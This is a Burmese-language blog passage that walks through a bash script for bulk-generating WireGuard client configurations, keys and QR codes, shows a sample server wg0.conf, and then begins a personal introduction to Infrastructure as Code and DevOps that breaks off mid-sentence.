အပေါ်က link နှစ်ခုမှာ Wireguard server အတွက် private နဲ့ public key pair ကိုပြင်ဆင်တဲ့ပုံနဲ့ လိုအပ်တဲ့ firewall setting နဲ့ ip forwarding ကို enable လုပ်ပြီးသွားရင် ကျန်တဲ့ client side အတွက် Wireguard configuration နဲ့ ဖုန်းမှာသုံးဖို့အတွက် QR code တွေအများကြီးထုတ်ဖို့ရာအတွက် workflow ကို automate လုပ်လို့ရပါပြီ။ နောက်ပြီးတော့ qrencode ဆိုတဲ့ command ကိုအသုံးပြုဖို့အတွက် သူ့ကိုလည်းအရင်ဆုံး ကြိုပြီးတော့ ကိုယ့်ရဲ့ PC သို့မဟုတ် laptop မှာကြိုပြီးတော့ install လုပ်ရပါလိမ့်မယ်။ ကိုယ်သုံးတဲ့ OS က Linux ဖြစ်ဖို့တော့လိုပါလိမ့်မယ်။ စာရေးသူအတွက်တော့ Ubuntu 20.04 LTS ကို GNOME Desktop နဲ့သုံးပါတယ်။ ဒီနေရာမှာ နှစ်မျိုးလုပ်လို့ရပါတယ်။ အခုသုံးမယ့် bash script ကို ကိုယ့်ရဲ့စက်မှာ wireguard နဲ့ qrencode အရင်သွင်းထားပြီးတော့ လိုအပ်တဲ့ client side QR code တွေကို ကိုယ့်စက်ပေါ်မှာ locally တစ်ခုပြီးတော့ တစ်ခုထုတ်လို့ရပါတယ်။ User တွေအများကြီးအတွက် ထုတ်တဲ့အခါမှာ အများကြီးလွယ်ကူသွားတာကိုတွေ့ရပါလိမ့်မယ်။ မျက်စိထဲမြင်အောင်လို့ Wireguard server ပေါ်မှာ /etc/wireguard/wg0.conf ကို configure လုပ်ပုံကို နောက်တခါထပ်ပြီးတော့ ပြပေးထားပါတယ်။ ဒီတစ်ခုမှာ သတိထားရမှာက wg0 ရဲ့ interface မှာ assign လုပ်မယ့် IP address ရဲ့ scope နဲ့ client ဘက်မှာသုံးမယ့် IP address ဟာ subnet တစ်ခုတည်းမှာရှိနေဖို့ လိုပါတယ်။ နောက်ပြီးတော့... PostUp နဲ့ PostDown လိုင်းနှစ်ခုမှာ ကိုယ့်ရဲ့ Linux distro ပေါ်မှာမူတည်ပြီးတော့ NIC နာမည် အနည်းငယ်ကွာခြားနိုင်ပါတယ်။ ဥပမာ ဒီတစ်ခုမှာတော့ စာရေးသူ eth0 နဲ့ သုံးပြီးတော့ပြထားပါတယ်။ အချို့သော VPS တွေမှာတော့ ens3 ဆိုပြီးတော့ဖြစ်နေတတ်ပါတယ်။ ဘယ်လို verify လုပ်နိုင်သလဲဆိုရင် terminal ထဲမှာ "ip address" ရိုက်ထည့်လိုက်ရင် NIC ရဲ့ နာမည်ကို သူ့ရဲ့ ip address နဲ့အတူတွေ့မြင်နိုင်မှာဖြစ်ပါတယ်။ ဒီ wireguard server မှာတော့ public cloud တစ်ခုမှာ VPS တစ်ခုကို ပြင်ဆင်ပြီးတော့ wg0 interface ကလာသမျှ traffic ကို VPS ရဲ့ public ip address နဲ့ထွက်စေချင်တာဖြစ်တဲ့ sysctl မှာ ip forwarding ကို enable လုပ်ရပါ့မယ်၊ MASQUERADE ဆိုတာကတော့ NAT overload လုပ်မယ်လို့ iptable အတွက် configure လုပ်ရတာပါ။ PrivateKey ဆိုတာကတော့ အထက်မှာတုန်းက wireguard server အတွက် public/private key pair ကို generate လုပ်တုန်းကထွက်လာတဲ့ private key ကိုဒီမှာလာထည့်ရတာပါ။ Public key ကို အနောက်မှာ client side အတွက် configuration တွေကိုထုတ်တဲ့အခါမှာ bash script ထဲမှာ အသေထည့်သုံးရုံပါပဲ။

{% code title="wg0.conf" %}

```bash
[Interface]
Address = 192.168.240.1/32
PostUp = iptables -A FORWARD -i %i -j ACCEPT; iptables -A FORWARD -o %i -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
PostDown = iptables -D FORWARD -i %i -j ACCEPT; iptables -D FORWARD -o %i -j ACCEPT; iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE
ListenPort = 51820
PrivateKey = cN4ITN3S0mS9I0Zkd6/44iqumCjszudM034XMVWllFE=
```

{% endcode %}

အောက်မှာ bash နဲ့လုပ်ထားတဲ့ automated workflow တစ်ခုကို အရင်ဆုံးကြည့်လိုက်ရအောင်ဗျာ။

{% code title="wg-config-gen.sh" %}

```bash
#!/bin/bash

p='wg-srv-peers.conf'
[ -f $p ] && rm -f $p

i='PNGs'
[ -d $i ] && rm -rf $i
mkdir $i

while IFS=, read -r ui ip
do
    echo "$ui and $ip"
    [ -d "$ui" ] && rm -rf $ui
    mkdir $ui && cd $ui
    wg genkey | tee $ui.key | wg pubkey | tee $ui.key.pub > /dev/null
    key=`cat $ui.key`
    pubkey=`cat $ui.key.pub`

echo "[Interface]
PrivateKey = $key
Address = $ip
DNS = 8.8.8.8, 8.8.4.4 
[Peer]
PublicKey = Ccd+Z/JBwktqy3i2wIfb+rwX9h0w4BO/fghOd7AcxFE=
AllowedIPs = 0.0.0.0/0
Endpoint = 11.22.33.44:51820
PersistentKeepalive = 25" >> $ui.conf

    qrencode -o $ui.png -t png < $ui.conf
    cp $ui.png ../$i/
    cd - > /dev/null

echo "[Peer]
# $ui wg
PublicKey = $pubkey
AllowedIPs = $ip/32
" >> $p

done < users-list.csv
```

{% endcode %}

အထက်မှာပြထားတဲ့ bash ထဲမှာအဆင့်ဆင့်လုပ်ထားတဲ့ command တွေကိုတစ်ခုချင်းစီသွားလိုက်ကြည့်လိုက်ရအောင်။ p ဆိုတဲ့ variable တစ်ခုကိုတည်ဆောက်ပြီးတော့ 'wg-srv-peers.conf' ဆိုတဲ့ string တစ်ခုကို assign လုပ်ထားလိုက်ပါတယ်။ အဲ့ဒါက filename ပါ။ \[ -f $p ] && rm -f $p ဆိုတာကတော့ လက်ရှိ directory မှာ အဲ့ဒီ $p ဆိုတဲ့ filename နဲ့ -f ဆိုတာ file ရှိသလားလို့ စစ်ကြည့်ခိုင်းတဲ့ conditional statement တစ််ခုပါ။ ပြီးတော့ အနောက်မှာ && rm -f $p ဆိုတာက အဲ့ဒီ file ရှိခဲ့ရင် အရင်ဆုံးဖျက်ဆီး ပစ်လိုက်လို့ပြောတာပါ။ ဘာဖြစ်လို့လဲဆိုရင် ဒီ bash file ကိုတစ်ခါ run တိုင်း file ကိုအသစ်ပြန်လည်တည်ဆောက်ပြီးတော့ wireguard server ရဲ့ peers အသစ်တွေနဲ့ပဲ ဖန်တီးချင်လို့ပါ။ အဲ့လိုမှာမဟုတ်ရင်... bash ရဲ့ runtime မှာ filename နဲ့လက်ရှိ directory ထဲမှာရှိပြီးသားမို့ overwrite လုပ်မလားဆိုပြီးတော့ မေးလို့ workflow ကသိပ်ပြီးတော့ အဆင်ပြေမနေပါဘူး။ ထိုနည်းတူပဲ i ဆိုတဲ့ variable ကိုတည်ဆောက်ပြီးတော့ PNGs ဆိုတဲ့ string ကို assign လုပ်လိုက်ပါတယ်။ ဒါကတော့ folder ရဲ့နာမည်ပါ။ syntax ကတော့ အပေါ်ကပုံစံအတိုင်းပါပဲ။ -f အစား -d ဆိုတာကတော့ directory ကိုဆိုလိုခြင်းဖြစ်ပါတယ်။

နောက်တစ်ခုက while loop ကိုအရင်ဆုံးတချက်ကြည့်လိုက်ရအောင်။ အောက်မှာမြင်ရတဲ့အတိုင်း while loop ရဲ့ အစနဲ့ အဆုံးကို အရင်ဆုံးသွားလိုက်ပါ့မယ်။ while IFS=, read -r ui ip ဆိုတာ while loop နဲ့လှည့်ပြီးတော့ done < users-list.csv ဆိုတဲ့အတိုင်း users-list.csv file ထဲမှာရှိတဲ့ content တွေကိုဖတ်လိုက်မယ်ပြီးရင် variable ui နဲ့ ip အနေနဲ့ ရတဲ့ value တွေကို သိမ်းဆည်းထားမယ်လို့ပြောတာပါ။ IFS ဆိုတာကတော့ Input Field Separator ဆိုတဲ့ delimiter ကို ' , ' ပါလို့ bash ကိုပြောတာပါ။ csv file မှာက column တွေကို comma တွေနဲ့ ခွဲထားတာဖြစ်တဲ့အတွက် ဘာလို delimiter ကိုကြည့်ပြီးတော့ ဖတ်ရမလဲဆိုတာကို ပြောတာပါ။ read -r ဆိုတာကတော့ read တဲ့အခါမှာလည်း backslash (\\) ကိုပါ string အနေနဲ့ဖတ်ဖို့ပြောတာပါ။ အဲ့လိုမှမဟုတ်ရင်တော့ escape character အနေနဲ့ bash ကဖတ်ပါလိမ့်မယ်။

```bash
while IFS=, read -r ui ip
do
    ...
done < users-list.csv
```

နောက်အဆင့်အနေနဲ့တော့ while loop ထဲမှာဘာတွေလုပ်ထားသလားဆိုတာ တချက်လောက်ကြည့်ရအောင်ဗျာ။ ပထမဆုံး တလိုင်းကတော့ echo "$ui and $ip" ဆိုပြီးတော့ အဲ့ဒီ variable တွေထဲမှာဘာတွေ သိမ်းထားသလဲဆိုတာကို user အတွက် screen ပေါ်မှာ feedback ပေးလိုက်တာပါ။ ဒီလိုမှမဟုတ်ရင်တော့ ဘယ် variable က ဘယ် value ကို ဖတ်ပြီးတော့ သူ့အောက်က script operation တွေမှာ ဘာတွေလုပ်သလဲဆိုတာကို မသိနိုင်လို့ပါပဲ။ ဘာကို users-list.csv file ထဲကနေဖတ်ပြီးတော့ variable ထဲမှာ သိမ်းဆည်းထားသလဲဆိုတာကို သိရှိပြီးနောက်မှာတော့ အောက်က အစိတ်အပိုင်းလေးတွေကို နည်းနည်းဆက်ပြီးတော့ ကြည့်လိုက်ရအောင်။

```bash
  [ -d "$ui" ] && rm -rf $ui
    mkdir $ui && cd $ui
    wg genkey | tee $ui.key | wg pubkey | tee $ui.key.pub > /dev/null
    key=`cat $ui.key`
    pubkey=`cat $ui.key.pub`
```

နောက်တခါ $ui ဆိုတဲ့ (unique identity အတွက်အတိုကောက်ပါ။) variable မှာသယ်လာတဲ့ နာမည်နဲ့ -d ဆိုပြီးတော့ directory ရှိပြီးသားလား ဆိုတာကိုအရင်စစ်ကြည့်လိုက်ပါတယ်။ ရှိခဲ့ရင် rm -rf $ui ဆိုပြီးတော့ ရှိတဲ့ folder နဲ့ folder အတွင်းမှာရှိတဲ့ file တွေ subfolder တွေအားလုံးကို r ဆိုတဲ့ recursive နဲ့ f ဆိုတဲ့ force option တွေကိုသုံးပြီးတော့ အရင်ဖျက်လိုက်ပါတယ်။ နာမည်တူခဲ့ရင် ပြန်ပြီးတော့ ဒီ script ကို run တဲ့အခါမှာ ရှိပြီးသား folder ကိုအရင်ဆုံး ရှင်းလိုက်တဲ့သဘောပါ။ script ရဲ့ workflow ကို fluidity ရဖို့အတွက် လုပ်ထားတာပါ။ ပြီးတော့မှ mkdir $ui && cd $ui ဆိုပြီး folder အသစ်တစ်ခုတည်ဆောက်ပြီးတော့ အဲ့ဒီ folder ထဲကိုဝင်ထားလိုက်ပါတယ်။ အဲ့ဒီ folder အောက်ကိုရောက်တဲ့အခါမှာတော့ wg genkey ဆိုတဲ့ command နဲ့ $ui ထဲက value အတွက် private/public key ကို wireguard အတွက်ထုတ်လိုက်ပါတယ်။ ရလာတဲ့ private key ကို key ဆိုတဲ့ variable အသစ်မှာသွားသိမ်းပါတယ်။ ထိုနည်းတူ public key ကိုလည်း pubkey ဆိုတဲ့ variable မှာသိမ်းထားခဲ့ပါတယ်။ ဒီနေရာမှာ တစ်ခုသတိထားရမှာတစ်ခုက key=\`cat $ui.key\` ဆိုပြီးတော့ .key file ကိုဖတ်တဲ့အခါမှာ backtick ကိုသုံးရပါ့မယ်၊ single quote မဟုတ်ပါဘူး။ နောက်အဆင့်မှာတော့ wiregurad client အတွက် configuration ကို အခုလိုမျိုး echo နဲ့ ရိုက်ထုတ်ပြီးတော့ $ui.conf ဆိုတဲ့ file မှာ append လုပ်ပါတယ်။

```bash
echo "[Interface]
PrivateKey = $key
Address = $ip
DNS = 8.8.8.8, 8.8.4.4 
[Peer]
PublicKey = Ccd+Z/JBwktqy3i2wIfb+rwX9h0w4BO/fghOd7AcxFE=
AllowedIPs = 0.0.0.0/0
Endpoint = 11.22.33.44:51820
PersistentKeepalive = 25" >> $ui.conf
```

မြင်တဲ့အတိုင်းပဲ... PrivateKey နေရာမှာ အပေါ်တွင်ထုတ်ထားတဲ့ $key ကိုလာပြီးတော့ ရိုက်ထုတ်လိုက်တယ်။ Address နေရာမှာလည်း $ip ဆိုတဲ့ csv file ထဲကနေဖတ်လာတဲ့ IP address ကိုရိုက်ထုတ်လိုက်ပြီးနောက် wireguard server ရဲ့ public key ကို static ဒီအတိုင်းထည့်လိုက်ပြီးရင် AllowedIPs နဲ့ Endpoint ကတော့ ရှင်းပါတယ်။ ကိုယ် route လုပ်ချင်တဲ့ subnet နဲ့ wireguard server ရဲ့ public IP address ကိုထည့်သွင်းရမှာပါ။ 0.0.0.0/0 ဆိုတာရှိသမျှ traffic အကုန်လုံးကို ဒီ wireguard tunnel ထဲကနေ သွားခိုင်းတာဖြစ်ပြီးတော့၊ split tunnel လုပ်ချင်ရင်တော့ သင့်လျှော်တဲ့ subnet ကိုဒီနေရာမှာထည့်သွင်းပေးပါ။ >> $ui.conf ဆိုတာကတော့ echo ကနေထွက်လာတဲ့ stdout ကို .conf file မှာသွားရေးခြင်းသာဖြစ်ပါတယ်။ .conf file ထွက်လာရင်တော့ mobile app တွေအတွက် အဆင်ပြေအောင်လို့ QR code ထုတ်လိုက်တယ်၊ ပြီးရင် PNGs ဆိုတဲ့ folder ထဲကို အဲ့ဒီ QR code တစ်ခုချင်းစီကို copy ကူးယူထားလိုက်ပါတယ်။ နောက်ဆုံးမှာတော့ wireguard server ပေါ်မှာသွားပြီးတော့ ပေါင်းထည့်ရမယ့် peer configuration တွေကို wg-srv-peers.conf မှာတော့အောက်အတိုင်း တစ်ခုချင်းစီ append ထပ်လုပ်သွားပါတယ်။

```bash
echo "[Peer]
# $ui wg
PublicKey = $pubkey
AllowedIPs = $ip/32
" >> $p
```

အောက်မှာတော့ wg-config-gen.sh ကို run ပြီးသွားရင်တွေ့ နိုင်တဲ့ folder structure တည်ဆောက်ပုံပဲဖြစ်ပါတယ်။

```bash
wg_automated_workflow
├── john
│   ├── john.conf
│   ├── john.key
│   ├── john.key.pub
│   └── john.png
├── PNGs
│   ├── john.png
│   ├── smith.png
│   └── tyla.png
├── smith
│   ├── smith.conf
│   ├── smith.key
│   ├── smith.key.pub
│   └── smith.png
├── tyla
│   ├── tyla.conf
│   ├── tyla.key
│   ├── tyla.key.pub
│   └── tyla.png
├── users-list.csv
├── wg-config-gen.sh
├── wg-srv-peers.conf
└── wg-srv-side-config-example.txt
```

ဒါဆိုရင်တော့ အားလုံးအဆင်သင့်ဖြစ်ပါပြီ။ wg-srv-peers.conf ထဲ peer configuration တွေကို wireguard server က /etc/wireguard/wg0.conf မှာသွားပြီးတော့ ပေါင်းထည့်ပေးလိုက်ပြီးတော့ systemctl restart wg-quick\@wg0 ဆိုတဲ့ systemd ရဲ့ command ကို run ပေးလိုက်တာနဲ့ အထက်မှာ ဖန်တီးထားတဲ့ wireguard client side မှာသုံးရမယ့် configuration နဲ့ QR code ကိုစတင်ပြီးတော့ အသုံးပြုလို့ရနိုင်ပါပြီ။ Mobile app သမားတွေအတွက်တော့ PNGs folder အောက်က ဆိုင်ရာဆိုင်ရာ .png file တွေကို Signal ကနေပဲဖြစ်ဖြစ်၊ အခြားသော secure ဖြစ်တဲ့ communication channel တစ်ခုခုကနေပြီးတော့ သုံးမယ့်သူကိုပေးလိုက်ရုံပါပဲ။ အားလုံးအတွက် ပိုပြီးတော့ မြန်ဆန်တဲ့ wireguard automation workflow တစ်ခုဖြစ်မယ်လို့ မျှော်လင့်ပါတယ်။ အထက်မှာပြထားတဲ့ code sample ကိုလိုချင်ရင်တော့ ဒီ [GitHub link](https://github.com/tylalin/ITmatic101/tree/master/wg_automated_workflow) မှာသွားယူလို့ရပါတယ်။


# အနားမသပ်နိုင် သေးတဲ့ Infrastructure as Code (IaC) – အပိုင်း(၁)

ကိုယ်တိုင်က အလုပ်ခွင်မှာ coding နဲ့ နေ့စဉ်ထိတွေ့ရမဟုတ်ပေမယ့်လည်း automation အတွက် scripts တွေရေးလိုက်၊​ python code လေးတွေကိုမဖြစ်စလောက်ရေးကြည့်လိုက်၊ module အလွယ်တကူရှိရင် Ansible နဲ့ကောက်ပြီးတော့ pipeline တွေပြင်ကြည့် စမ်းကြည့်လိုက်လောက်နဲ့ စာရေးသူစလိုက်တာ အခုဆိုရင် ပြဿနာတစ်ခုဖြေရှင်းတော့မယ်ဆို coding language တစ်ခုခုနဲ့ ဘယ်လိုမျိုးဖြေရှင်းလိုက်ရင် ဖြင့်ကောင်းလိုက်မလဲ ဆိုတဲ့ထိပါပဲ။ Coding ဆိုင်ရာတိုးတက်မှုတွေရှိလို့ကောင်းတဲ့အချက်တွေရှိသော်လည်း၊ language တစ်ခုတစ်ခုကိုလိုက်ရတာ syntax ကိုနားလည်အောင်ကြိုးစားရတာမှာ အချိန်တွေအများကြီးကုန်ပါတယ်။ Programming အခြေခံ basic ကနေ၊ intermediate လောက်ထိ အတန်အသင့်နားလည် ထားသော်လည်း မထိတွေ့တာကြာတော့ အကုန်လုံးလည်းမေ့သလောက်ရှိနေတော့ ပြန်ပြီးတူးဖော်ရတာတွေအများကြီးဖြစ်လာပါတယ်။ ၁၀တန်းအောင်ပြီး computer programming ဆိုတာကြီးကို အိမ်ကအတင်းသွားတက်ခိုင်းလို့ C programming ကို အပြာရောင် screen ကြီးပေါ်မှာ code တွေကို ရေးခဲ့ compile လုပ်ခဲ့ဘူးတာတော့ အထင်းသားမှတ်မိနေပါသေးတယ်။ သင်ပေးတဲ့ ဆရာကကြိုးစားပြီးသင်သော်လည်း၊ သင်ယူသူဖြစ်တဲ့ စာရေးသူမှာတော့ စိတ်မပါတော့ အတတ်မမြန် အလုပ်မဖြစ်ခဲ့ပါဘူး။ သို့သော်… လိုအပ်တဲ့အခြေခံ ကြမ်းခင်း သဘောမျိုး လေ့လာခွင့်ရခဲ့တော့ အဲ့ဒီတုန်းကထင်သလောက် မဆိုးဘူးလို့ ဆိုရမှာပါ။ အပင်ပန်းခံပြီးတော့ သင်ပေးတဲ့ အဲ့ဒီတုန်းကဆရာကို အများကြီးကျေးဇူးတင်ရမယ့် သဘောပါလေ။ သူ့ကြောင့်လည်း စာရေးသူနဲ့ ဝမ်းကွဲ ညီအကိုနှစ်ယောက် programming ကို ကျွဲပါးစောင်းတီးဘဝ ကနေပြီးတော့ အရသာခံတတ်သိတတ်တဲ့ထိ သင်ယူလေ့လာခွင့်ရခဲ့ ကြပါတယ်။ လပိုင်းသာသာ သင်ယူလေ့လာခဲ့ကြသည့်တိုင်အောင် အခြေခံလောက်ကို တတ်တယ်လို့ဆိုကြပါတော့။

အဲ့ဒီကနေမှ ကောလိပ်နဲ့ တက္ကသိုလ်ရောက်တော့ နောက်တခါ C++, Perl, C# တို့အပြင်၊ VBA (Visual Basic for Applications) ကို Micrsoft Office 2007 မှာ project အတွက် အများကြီးရေးခဲ့ ရပါတယ်။ ဒီ့အပြင် frontend မှာသုံးတဲ့ HTML နဲ့ CSS ကိုလည်း အနည်းငယ်ထပ်ပြီး လေ့လာရတယ်။ Database အပိုင်းမှာလည်း Microsoft SQL Database လို platform တွေမှာ project ကြီးသုံးခု လေးခုလောက် လုပ်ရတယ်လို့ မှတ်မိပါတယ်။ နောင်တခါ တက္ကသိုလ်တက်ရင်း ကောလိပ်မှာ အချိန်ပိုင်းစာပြန်သင်တော့ Perl ကို ဘာသာရပ်တစ်ခုအနေနဲ့ ပြန်လည်သင်ကြားပို့ချခဲ့ရတယ်။ Coding နဲ့ ပတ်သတ်ပြီးရှိတဲ့ အတွေ့အကြုံ ဒါအကုန်ပါပဲ။ ရံဖန်ရံခါ အိမ်က home lab မှာ ဖြစ်ဖြစ်၊ အလုပ်အတွက်လိုအပ်တဲ့ အချို့သောအရာတွေကို batch, bash နောက်ပြီးတော့ powershell လိုမျိုး scripts တွေကိုတော့ ရေးဖြစ်ပါတယ်။ လိုမှလိုသလို ဟိုရှာဒီရှာနဲ့ ရေးခြင်းမျိုးသာဖြစ်ပါတယ်။ လိုရင်းက စာရေးသူဟာ coding သမားမဟုတ်ပါဘူး၊ သို့သော်အခုနောက်ပိုင်းမှာတော့ coding/programming language တွေတစ်ခုပြီးတစ်ခု လေ့လာသင်ယူဖို့ ကြိုးစားနေပါတယ်။ လက်ရှိမှာတော့ အလုပ်ခွင်မှာ automation အတွက်တော်တော်လေး အဆင်ပြေတဲ့ python ကိုလေ့လာဖြစ်သလို၊ လက်တွေ့မှာလည်း လိုရင်လိုသလောက် အသုံးချနိုင်တဲ့ အထိပါပဲ။ နောက်ပြီးတော့ ဆက်လက်လေ့လာချင်တဲ့ language သုံးခု လေးခုလောက် ရှိပါတယ်။ Golang, Javascript နဲ့ Ruby တွေပါ။ အလုံးစုံ အကုန်လုံးနီးပါး မသိတောင်မှ အလုပ်ခွင်မှာ အသုံးပြုလို့ရတဲ့ အထိတော့ လေ့လာသင်ယူလိုပါတယ်။ Web framework မှာဆိုလည်း Django, Flask နဲ့ Bootstrap လိုမျိုး python တို့၊ javascript တို့နဲ့တွဲပြီးတော့ အသုံးပြုနိုင်မယ့် framework တွေကို လက်ရှိမှာစိတ်ဝင်စားနေပါတယ်။ လက်ရှိအနေအထားမှာ စာရေးသူရဲ့ သွားလိုတဲ့ လမ်းကြောင်းမို့ အနည်းငယ်သိစေလိုတာမျိုးပါ။

တခါပြန်ကြည့်လိုက်ရင်… ကိုယ်တိုင်က network systems engineer ယောင်ယောင် အောက်ခြေတန်းစား အလုပ်နဲ့ အသက်မွေးရတာကြောင့် နေတိုင်းလုပ်ရတာနဲ့ သင်ယူလိုစိတ် ဖြစ်နေတာတွေဟာ နည်းနည်းလေး အံချော်သယောင်ယောင် ဖြစ်လာပါတယ်။ သို့သော်… Site Reliability Engineer (SRE) တို့၊ DevOps တို့ လိုမျိုး culture နဲ့ practice တွေကို ကိုယ်တိုင်က အားကျမိနေတော့ အဆင်သင့်သလိုလိုရှိ နေပြန်တယ်။ စာရေးသူအနေနဲ့တော့ တခါတလေ ဆင်ခေါင်းကို ခွေးချီသလိုများ ဖြစ်နေမလားလို့ ခြေတုံချတုံ ဖြစ်တာလည်း ခဏခဏပါ။ သင်ယူနိုင်စွမ်း ရှိသမျှတော့ သင်ယူကြည့်ရတာပေါ့။ ဒီလိုနဲ့ ပြီးသွား ပြီလာဆိုတော့ Docker သိရမယ်၊ K8s သိရမယ်၊ Ngnix သိရမယ်၊ Cloud Native တွေသိရမယ်၊ SQL သိရမယ်၊ Git သိရမယ်၊ CI/CD pipeline သိရမယ်၊ ဟိုဟာလည်း သိရမယ်၊ ဒီဟာလည်း သိရမယ်ဆိုတဲ့ နည်းပညာခေတ်ကြီးထဲမှာမို့ အရှုံးမပေး လိုပါ။ စာသုံးလို့ ရတာတွေအကုန်လုံးကို စာရေးသူ စားသုံးချင်ပါတယ်။ တကယ်သိချင်တဲ့ စိတ် drive နဲ့ ဖြစ်ချင်တဲ့ စိတ် passion တော့ အဆက်မပြတ်လိုတာတော့ အမှန်ပါ။ အခုနောက်တခါ… Infrastructure as Code (IaC) တဲ့လာပြန်ပါပြီ။ စာရေးသူ IaC ကို စမြည်းကြည့် စစမ်းကြည့်ရင်းနဲ့ အရသာတွေ့ရပြန်၊ စာသုံးရပြန်ပါပြီ။ စိတ်ဝင်စားဖို့ကောင်းတဲ့ topic မို့ IaC အကြောင်းကို အနည်းငယ် စပြီးတော့ မိတ်ဆက်လိုက်ရအောင်ဗျာ။

### Infrastructure as Code (IaC) မိတ်ဆက်

IaC အကြောင်းကို မပြောခင်မှာ အရင်ဆုံးနားလည်ထားရမယ့်အရာက SRE/DevOps culture ဖြစ်တည်လာပုံဖြစ်ပါတယ်။ အရင်က post တစ်ခုမှာလည်း Dev နဲ့ Ops team နှစ်ခုရဲ့ အားပြိုင်မှုနဲ့ Dev ဘက်က သူတို့နေ့စဉ်ကြုံတွေ့နေရတဲ့ အခြေအနေတစ်ခုကို ဘယ်လိုမျိုးဖြေရှင်းမလဲ ဆိုတာကနေပြီးတော့ စလိုက်တာအခုဆိုရင် IaC နဲ့ ပတ်သတ်ပြီးတော့ အသုံးပြုလို့ရတဲ့ tools တွေအများကြီးရှိနေပါပြီ။ ပထမဆုံး Dev ဘက်က ပြဿနာကို ကြည့်လိုက်ရအောင်။ Ops ဘက်ကနေ့စဉ်နဲ့ အမျှ uptime နဲ့ stability အတွက် change management တစ်ခုကို ဘယ်လိုမျိုး အတင်းအကျပ် control လုပ်မလဲဆိုတာနဲ့ ထိန်းချုပ်တဲ့ environment မှာအလုပ်ဖြစ်အောင် လုပ်ရတဲ့ အနေအထားမှာပါ။ တဘက်မှာကတော့ Dev တွေဟာ resource ကိုလိုချင်ရင် လိုတဲ့အချိန်မှာ အချိန်မနှောင်းပဲနဲ့ ချက်ချင်း ရချင်တဲ့ သဘောသဘာဝရှိပါတယ်။ ထားပါတော့… Dev တွေဟာ application တစ်ခုကိုစပြီးတော့ ရေးလိုက်ပြီဆိုတာနဲ့ ရေးဖို့အတွက် dev environment တစ်ခုလိုပါတယ်။ Application တစ်ခုရဲ့ သဘာဝပေါ်မှာမူတည်ပြီးတော့ local machine မှာ dev environment တစ်ခုကို တည်ဆောက်ပြီးတော့ build တစ်ခုကို လုပ်လို့ရသလို၊ အချို့သော server-side application တွေမှာတော့ dev environment ကို ပိုပြီးတော့ ပြည့်စုံတဲ့ hypervisor တစ်ခုကို အသုံးပြုပြီးတော့ virtualization မှာ စမ်းသပ်တာပိုပြီးတော့ အလုပ်ဖြစ်နိုင်ပါတယ်။ ဒီအတွက် သူတို့လိုအပ်တဲ့ server တစ်ခုရဲ့ spec တွေကို Ops ရဲ့ ticketing system မှာသွားပြီးတော့ မှာယူရပါတယ်။

Ops ဘက်ကအလုပ်ကို ခပ်မြန်မြန်လုပ်တတ်တဲ့ သဘောသဘာဝရှိရင်တောင်မှ VM ကို deploy လုပ်တဲ့အခါ၊ configure လုပ်တဲ့အခါမှာ manual process ဖြစ်တဲ့အတွက် VM အလုံးရေပေါ်မှာမူတည်ပြီးတော့ အချိန်အားဖြင့် ၂ရက်ကနေ ၃ရက်လောက်ထိကြာတတ်ပါတယ်။ ဒါ့အပြင်…တစ်ယောက်နဲ့ တစ်ယောက် email/messaging လုပ်တဲ့အခါမှာ နားလည်မှုတွေ အများကြီးထပ်ပြီးတော့ လွဲမှားနိုင်ပါတယ်။ ဆိုလိုချင်တာက အချိန်တွေအများကြီးကုန်ပြီးတော့ အလွှဲအချော်တွေလည်း ဖြစ်နိုင်ချေအများကြီး ရှိတာမို့ ဒီ workflow ဟာအလုပ်တော်တော်လေးကို မဖြစ်တဲ့ သဘောပါ။ နောက်တခါ Dev နဲ့ Ops နှစ်ခုကြားမှာသုံးလို့ ရတဲ့ documentation တစ်ခုကို ဘယ်သူက ဖန်တီးမလဲဆိုတာက နောက်ပြဿနာတစ်ခုပါ။ Documentation ဆိုတဲ့နေရာမှာ Dev ဘက်ကရော၊ Ops ဘက်ကရော မှတ်တမ်းတင်ရမှာပါ။ နှစ်ဘက်လုံးက documentation ဘက်မှာ အားနည်းတယ်ဆိုရင်တော့ နောက်တခါမှာ ပြင်ဆင်စရာ ထပ်ပေါင်းထည့်စရာ တွေရှိလာတဲ့အချိန် ဘယ်ပေါ်မှာ အခြေခံပြီးတော့ design reference လုပ်ရမလဲ ဆိုတာထည့်သွင်း စဉ်းစား ကြည့်လိုက်ရင် တော်တော်လေးကို ကြောက်ဖို့ကောင်းတဲ့ chaos engineering production environment တစ်ခုဖြစ်လာမှာပါ။ ဒီကိစ္စက သေးသေးမွှားမွှား မဟုတ်ပါ။ Dev ဘက်ကရော၊ Ops ဘက်ကရော သေချာသဘောပေါက်တဲ့ အခြေခံပြဿနာ တရပ်ပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-097d9b16f4c061f1e3c7a55244ec95e9cfdae823%2FDevOps-before-and-after.jpg?alt=media" alt=""><figcaption></figcaption></figure>

ဒီလိုအထက်က ဖြစ်လာမယ့် ပြဿနာတွေကိုဖြေရှင်းဖို့ရာ အတွက် dev သမားတွေက abstraction layer တစ်ခုကို ဖန်တီးဖို့ရာဖြစ်လာပါတော့တယ်။ အဲ့ဒီ abstraction layer အဓိကအားဖြင့် အခြေခံကျကျလိုအပ်ချက် သုံးခုကိုဖြေရှင်းဖို့ ကြိုးစားထားပါတယ်။ ပထမတစ်ခု configuration drift ဆိုတဲ့ dev environment ကို setup လုပ်တုန်းသုံးထားတဲ့ systems configuration ဟာ test environment ကို တည်ဆောက်တဲ့အခါမှာ ထင်ဟပ်မှုမရှိတာကိုပြောတာပါ။ sysadmin တွေဆိုရင် ဒီလိုအနေအထားမျိုး system upgrade လုပ်တဲ့အခါနဲ့ system migration လုပ်တဲ့ အခါတွေမှာ အမြဲကြုံတတ်တဲ့ အခြေအနေတခုပါ။ ပြောရတာလွယ်သလောက် လက်တွေ့မှာ ပူထူပြီးတော့ troubleshooting အတွက်လည်း အများကြီး အခက်တွေ့ရပါတယ်။ ဒုတိယတစ်ခုက mutable infrastructure ကနေပြီးတော့ immutable infrastructure ဖြစ်အောင်လုပ်ဖို့ အတွက်ပါ။ ပြောချင်တာ… mutable approach မှာဆို dev ကပဲဖြစ်ဖြစ် ops ကပဲဖြစ်ဖြစ် လိုအပ်တဲ့အရာတစ်ခု ပြင်ဆင်ဖို့ဆိုရင် ဘယ်သူကိုမှလည်း communicate မလုပ်ပဲနဲ့ ad-hoc ပြင်တတ်ပါတယ်။ change management 